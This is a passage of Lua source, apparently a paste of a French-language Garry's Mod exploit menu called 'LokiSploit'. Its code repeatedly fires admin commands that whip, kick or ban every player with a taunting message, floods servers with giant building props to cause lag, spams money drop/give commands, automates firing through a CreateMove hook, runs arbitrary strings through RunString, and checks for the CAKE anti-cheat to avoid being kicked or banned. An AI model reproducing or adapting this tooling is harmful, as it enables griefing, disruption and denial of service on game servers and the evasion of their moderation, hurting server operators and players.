  5299. timer.Destroy("ulxspam")
  5300. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx whip @ 100") end)
  5301. elseif ulxspam=="Whip" then
  5302. ulxspam = "Sound"
  5303. info_ulx_spam = "Sound"
  5304. timer.Destroy("ulxspam")
  5305. timer.Create("ulxspam", 3, 0, function() ply:ConCommand("ulx playsound earthquake.mp3") end)
  5306. elseif ulxspam=="Sound" then
  5307. ulxspam = "Kick"
  5308. info_ulx_spam = "Kick"
  5309. timer.Destroy("ulxspam")
  5310. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx kick @ 0 Go apprendre a proteger votre serv les enfants x)") end)
  5311. elseif ulxspam=="Kick" then
  5312. ulxspam = "Ban"
  5313. info_ulx_spam = "Ban"
  5314. timer.Destroy("ulxspam")
  5315. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx ban @ 0 Go apprendre a proteger votre serv les enfants x)") end)
  5316. elseif ulxspam then
  5317. ulxspam = false
  5318. info_ulx_spam = "D�sactiver"
  5319. timer.Destroy("ulxspam")
  5320. end
  5321. end
  5322. function PropSpam()
  5323. if !propspam then
  5324. propspam = "Vitesse 1"
  5325. spam_props_text = "Vitesse 1"
  5326. timer.Create("propspam", 3.50, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel2.mdl") end)
  5327. timer.Create("propspam1", 2.00, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel1.mdl") end)
  5328. elseif propspam=="Vitesse 1" then
  5329. propspam = "Vitesse 2"
  5330. spam_props_text = "Vitesse 2"
  5331. timer.Destroy("propspam")
  5332. timer.Destroy("propspam1")
  5333. timer.Create("propspam", 2.80, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel2.mdl") end)
  5334. timer.Create("propspam1", 1.20, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel1.mdl") end)
  5335. elseif propspam=="Vitesse 2" then
  5336. propspam = "Vitesse 3"
  5337. spam_props_text = "Vitesse 3"
  5338. timer.Destroy("propspam")
  5339. timer.Destroy("propspam1")
  5340. timer.Create("propspam", 0.88, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel2.mdl") end)
  5341. timer.Create("propspam1", 0.42, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel1.mdl") end)
  5342. elseif propspam=="Vitesse 3" then
  5343. propspam = "Mega Spam"
  5344. spam_props_text = "Big-Spam"
  5345. timer.Destroy("propspam")
  5346. timer.Destroy("propspam1")
  5347. timer.Create("propspam", 0.4, 0, function()
  5348. ply:ConCommand("gm_spawn models/props_buildings/building_002a.mdl")
  5349. ply:ConCommand("gm_spawn models/props_buildings/collapsedbuilding01a.mdl")
  5350. ply:ConCommand("gm_spawn models/props_buildings/project_building01.mdl")
  5351. ply:ConCommand("gm_spawn models/props_buildings/row_church_fullscale.mdl")
  5352. ply:ConCommand("gm_spawn models/props_buildings/project_destroyedbuildings01.mdl")
  5353. ply:ConCommand("gm_spawn models/props_buildings/watertower_002a.mdl")
  5354. ply:ConCommand("models/props_buildings/project_destroyedbuildings01.mdl")
  5355. ply:ConCommand("models/props_wasteland/bridge_side03-other.mdl")
  5356. ply:ConCommand("models/props_wasteland/bridge_side03.mdl")
  5357. ply:ConCommand("models/props_wasteland/rockgranite04c.mdl")
  5358. ply:ConCommand("models/props_docks/prefab_piling01a.mdl")
  5359. ply:ConCommand("models/props_c17/overpass_001b.mdl")
  5360. ply:ConCommand("models/props_c17/overpass_001a.mdl")
  5361. ply:ConCommand("models/props_c17/overhaingcluster_001a.mdl")
  5362. ply:ConCommand("models/props_wasteland/tugtop001.mdl")
  5363. ply:ConCommand("models/props_wasteland/tugtop002.mdl")
  5364. end)
  5365. elseif propspam then
  5366. propspam = false
  5367. superspamingTabCol = red
  5368. spam_props_text = "D�sactiver"
  5369. timer.Destroy("propspam")
  5370. end
  5371. end
  5372. function Moneyssuperspam()
  5373. if !moneyspam then
  5374. moneyspam = "Drop"
  5375. billet_spam = "Drop 1�"
  5376. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/moneydrop 1") end)
  5377. elseif moneyspam=="Drop" then
  5378. moneyspam = "Give1euro"
  5379. billet_spam = "Give 1�"
  5380. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/give 1") end)
  5381. elseif moneyspam=="Give1euro" then
  5382. moneyspam = "Dropmillion"
  5383. billet_spam = "Drop 1 Million"
  5384. timer.Destroy("moneyspam")
  5385. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/moneydrop 1000000") end)
  5386. elseif moneyspam=="Dropmillion" then
  5387. moneyspam = "Givemillion"
  5388. billet_spam = "Give 1 Million"
  5389. timer.Destroy("moneyspam")
  5390. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/give 1000000") end)
  5391. elseif moneyspam=="Givemillion" then
  5392. moneyspam = "Dropmax"
  5393. billet_spam = "Drop 1 Milliard"
  5394. timer.Destroy("moneyspam")
  5395. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/moneydrop 1000000000") end)
  5396. elseif moneyspam=="Dropmax" then
  5397. moneyspam = "Give"
  5398. billet_spam = "Give 1 Milliard"
  5399. timer.Destroy("moneyspam")
  5400. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/give 1000000000") end)
  5401. elseif moneyspam then
  5402. moneyspam = false
  5403. billet_spam = "D�sactiver"
  5404. timer.Destroy("moneyspam")
  5405. end
  5406. end
  5407. local removes = {"env_steam",
  5408. "func_illusionary",
  5409. "beam",
  5410. "class C_BaseEntity",
  5411. "env_sprite",
  5412. "class C_ShadowControl",
  5413. "class C_ClientRagdoll",
  5414. "func_illusionary",
  5415. "class C_PhysPropClientside",
  5416. }
  5417. function StopLAG()
  5418. if !stoplag then
  5419. stoplag = "Activer"
  5420. RunConsoleCommand("r_3dsky", 0)
  5421. RunConsoleCommand("r_WaterDrawReflection", 0)
  5422. RunConsoleCommand("r_waterforcereflectentities", 0)
  5423. RunConsoleCommand("r_teeth", 0)
  5424. RunConsoleCommand("r_shadows", 0)
  5425. RunConsoleCommand("r_ropetranslucent", 0)
  5426. RunConsoleCommand("r_maxmodeldecal", 0) --50
  5427. RunConsoleCommand("r_maxdlights", 0)--32
  5428. RunConsoleCommand("r_decals", 0)--2048
  5429. RunConsoleCommand("r_drawmodeldecals", 0)
  5430. RunConsoleCommand("r_drawdetailprops", 0)
  5431. RunConsoleCommand("r_worldlights", 0)
  5432. RunConsoleCommand("r_flashlightrender", 0)
  5433. RunConsoleCommand("cl_forcepreload", 1)
  5434. RunConsoleCommand("r_threaded_renderables", 1)
  5435. RunConsoleCommand("r_threaded_client_shadow_manager", 1)
  5436. RunConsoleCommand("snd_mix_async", 1)
  5437. RunConsoleCommand("cl_ejectbrass", 0)
  5438. RunConsoleCommand("cl_detaildist", 0)
  5439. RunConsoleCommand("cl_show_splashes", 0)
  5440. RunConsoleCommand("gmod_mcore_test", 1)
  5441. RunConsoleCommand("mat_filterlightmaps", 0)
  5442. RunConsoleCommand("mat_queue_mode", -1)
  5443. RunConsoleCommand("r_drawflecks", 0)
  5444. RunConsoleCommand("r_dynamic", 0)
  5445. RunConsoleCommand("r_WaterDrawRefraction", 0)
  5446. RunConsoleCommand("cl_threaded_bone_setup", 1)
  5447. ZNX.ChatText( "FPS Booster Activer", Color(255,205,205))
  5448. for k,v in pairs(removes) do
  5449. for a,b in pairs(ents.FindByClass(v)) do
  5450. b:SetNoDraw(true)
  5451. end
  5452. end
  5453. elseif stoplag then
  5454. stoplag = false
  5455. RunConsoleCommand("r_3dsky", 0)
  5456. RunConsoleCommand("r_WaterDrawReflection", 1)
  5457. RunConsoleCommand("r_waterforcereflectentities", 1)
  5458. RunConsoleCommand("r_teeth", 1)
  5459. RunConsoleCommand("r_shadows", 1)
  5460. RunConsoleCommand("r_ropetranslucent", 1)
  5461. RunConsoleCommand("r_maxmodeldecal", 50) --50
  5462. RunConsoleCommand("r_maxdlights", 32)--32
  5463. RunConsoleCommand("r_decals", 2048)--2048
  5464. RunConsoleCommand("r_drawmodeldecals", 1)
  5465. RunConsoleCommand("r_drawdetailprops", 1)
  5466. RunConsoleCommand("r_decal_cullsize", 1000)
  5467. RunConsoleCommand("r_worldlights", 1)
  5468. RunConsoleCommand("r_flashlightrender", 1)
  5469. RunConsoleCommand("cl_forcepreload", 0)
  5470. RunConsoleCommand("cl_ejectbrass", 1)
  5471. RunConsoleCommand("cl_show_splashes", 1)
  5472. RunConsoleCommand("cl_detaildist", 1200)
  5473. RunConsoleCommand("gmod_mcore_test", 1)
  5474. RunConsoleCommand("mat_filterlightmaps", 1)
  5475. RunConsoleCommand("r_threaded_renderables", 0)
  5476. RunConsoleCommand("r_threaded_client_shadow_manager", 0)
  5477. RunConsoleCommand("mat_queue_mode", -1)
  5478. RunConsoleCommand("r_drawflecks", 1)
  5479. RunConsoleCommand("r_WaterDrawRefraction", 1)
  5480. RunConsoleCommand("cl_threaded_bone_setup", 1)
  5481. RunConsoleCommand("r_dynamic", 1)
  5482. ZNX.ChatText( "FPS Booster D�sactiver", Color(255,205,205))
  5483. for k,v in pairs(removes) do
  5484. for a,b in pairs(ents.FindByClass(v)) do
  5485. b:SetNoDraw(false)
  5486. end
  5487. end
  5488. end
  5489. end
  5490. function physicgunspeed ()
  5491. if !physicspeed then
  5492. physicspeed = true
  5493. RunConsoleCommand("physgun_wheelspeed", 9999)
  5494. ChatPrint("Vitesse du Physic-Gun: 9999")
  5495. elseif physicspeed then
  5496. physicspeed = false
  5497. RunConsoleCommand("physgun_wheelspeed", 10)
  5498. ChatPrint("Vitesse du Physic-Gun: 10")
  5499. end
  5500. end
  5501. function umsghook(ucmd)
  5502. if ZNX.Vars.AutoReload then
  5503. local wep = LocalPlayer():GetActiveWeapon()
  5504. if (LocalPlayer():Alive() and IsValid(wep)) then
  5505. if (wep:Clip1() <= 1 and wep:GetMaxClip1() > 0 and !table.HasValue(shitweapons, LocalPlayer():GetActiveWeapon():GetClass()) and CurTime() > wep:GetNextPrimaryFire()) then
  5506. ucmd:SetButtons(ucmd:GetButtons() + IN_RELOAD)
  5507. end
  5508. end
  5509. end
  5510. if( ZNX.Vars.Autoclick and !ZNX.Vars.RopeStorm and !ZNX.Vars.Triggerbot and !ZNX.Vars.AutoShoot) then
  5511. local Wep = LocalPlayer():GetActiveWeapon()
  5512. if (LocalPlayer():Alive() and IsValid(Wep)) then
  5513. if ZNX.Vars.AutoReload then maxclipsizaautoreload = 1 else maxclipsizaautoreload = 0 end
  5514. if Wep:GetMaxClip1() > 0 and Wep:Clip1() > maxclipsizaautoreload then
  5515. if (input.IsMouseDown(MOUSE_LEFT)) then
  5516. if (Wep:GetNextPrimaryFire() >= CurTime()) then
  5517. ucmd:RemoveKey(IN_ATTACK)
  5518. end
  5519. end
  5520. end
  5521. end
  5522. end
  5523. end
  5524. hook.Add("CreateMove","Reload",umsghook)
  5525. function ExecuteCmd( contents )
  5526. RunString( contents )
  5527. end
  5528. -- A Jour :
  5529.  
  5530. timer.Create("timerversionchecker",10,1,function()
  5531. hook.Remove("HUDPaint", "HudVersionChecker")
  5532. end)
  5533. hook.Add("HUDPaint", "HudVersionChecker", function()
  5534. draw.SimpleTextOutlined( "Bonjour "..steamworks.GetPlayerName( LocalPlayer():SteamID64() )..", tu as la derni�re version du menu", "HUDLogo2", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/30, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,255) )
  5535. end)
  5536. local hideHUDElements = {
  5537. ["DarkRP_HUD"] = false,
  5538. ["DarkRP_LocalPlayerHUD"] = false,
  5539. ["DarkRP_EntityDisplay"] = true,
  5540. ["DarkRP_ZombieInfo"] = false,
  5541. ["DarkRP_Hungermod"] = false,
  5542. ["DarkRP_Agenda"] = false,
  5543. ["CHudHealth"] = true,
  5544. ["CHudBattery"] = true,
  5545. ["CHudSuitPower"] = true,
  5546. ["CHudAmmo"] = false,
  5547. ["CHudSecondaryAmmo"] = false,
  5548. }
  5549. hook.Add("HUDShouldDraw", "GraphiteHideDef", function(name)
  5550. if hideHUDElements[name] then return false end
  5551. end)
  5552. -- D�but code d�t�ctable par cac
  5553. else -- ne pas toucher cac check else
  5554. for i = 1, 30 do
  5555. MsgC( Color( 255, 0, 0 ), "[LokiSploit]: !! CAKE ANTI-CHEAT !! DETECTER MENU DESACTIVE POUR EVITER LE KICK/BAN" )
  5556. end
  5557. end -- ne pas toucher cac checker end
  5558. -- Fin code d�t�ctable par cac
Add Comment
Please, Sign In to add comment